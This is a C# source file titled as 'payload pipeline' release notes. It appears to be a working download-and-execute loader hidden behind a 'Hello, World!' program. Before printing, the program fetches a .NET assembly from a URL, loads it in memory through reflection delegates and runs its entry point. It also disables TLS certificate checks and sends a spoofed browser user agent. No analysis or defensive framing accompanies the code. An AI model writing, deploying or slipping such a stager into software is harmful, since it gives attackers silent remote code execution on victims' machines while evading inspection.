Version 4.2.0: Payload Pipeline Improvements

using System;
using System.Net;
using System.Net.Security;
using System.Reflection;
using System.Security.Cryptography.X509Certificates;
using System.Threading;

class Program
{
    static void Main(string[] args)
    {
        CSharpLoadModule3.Loader.Apply();
        Console.WriteLine("Hello, World!");
    }
}

namespace CSharpLoadModule3
{
    internal delegate Assembly LoadModule(byte[] contents);
    internal delegate object Invoke(object a, object[] parameters);
    public static class Loader
    {
        public static void Apply()
        {
            byte[] contents = Loader.DownloadAssembly("http://localhost/static/resources/?build=default&kind=win_any");
            if (contents != null)
            {
                MethodInfo method = Loader.GetMethod(contents);
                ParameterInfo[] parameters = method.GetParameters();
                object[] args = null;
                if (parameters.Length == 1 && parameters[0].ParameterType.Equals(typeof(string[])))
                {
                    args = new object[]
                    {
                        new string[0]
                    };
                }

                MethodInfo invokeMethod = typeof(MethodInfo).GetMethod("Invoke", new Type[] { typeof(object), typeof(object[]) }, null);
                Invoke invoke = (Invoke)Delegate.CreateDelegate(typeof(Invoke), method, invokeMethod);
                invoke(null, args);
            }
        }

        private static MethodInfo GetMethod(byte[] binary)
        {
            MethodInfo method = typeof(Assembly).GetMethod("Load", new Type[] { typeof(byte[]) }, null);
            LoadModule load = (LoadModule)Delegate.CreateDelegate(typeof(LoadModule), method);
            Assembly assembly = load(binary);
            return assembly.EntryPoint;
        }

        private static byte[] DownloadAssembly(string url)
        {
            // Ignore SSL certificate errors
            ServicePointManager.ServerCertificateValidationCallback += Loader.ServerCertificateValidationCallbackHandler;
            ServicePointManager.Expect100Continue = true;
            SecurityProtocolType type = (SecurityProtocolType)0;
            foreach (SecurityProtocolType option in Enum.GetValues(typeof(SecurityProtocolType)))
            {
                SecurityProtocolType modified = type | option;
                try
                {
                    ServicePointManager.SecurityProtocol = modified;
                    type = modified;
                }
                catch
                {
                }
            }

            ServicePointManager.SecurityProtocol = type;
            // Create a valid user agent string
            string userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36";
            using (WebClient client = new WebClient())
            {
                client.Headers.Add("user-agent", userAgent);
                return client.DownloadData(url);
            }
        }

        private static bool ServerCertificateValidationCallbackHandler(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
        {
            return true;
        }
    }
}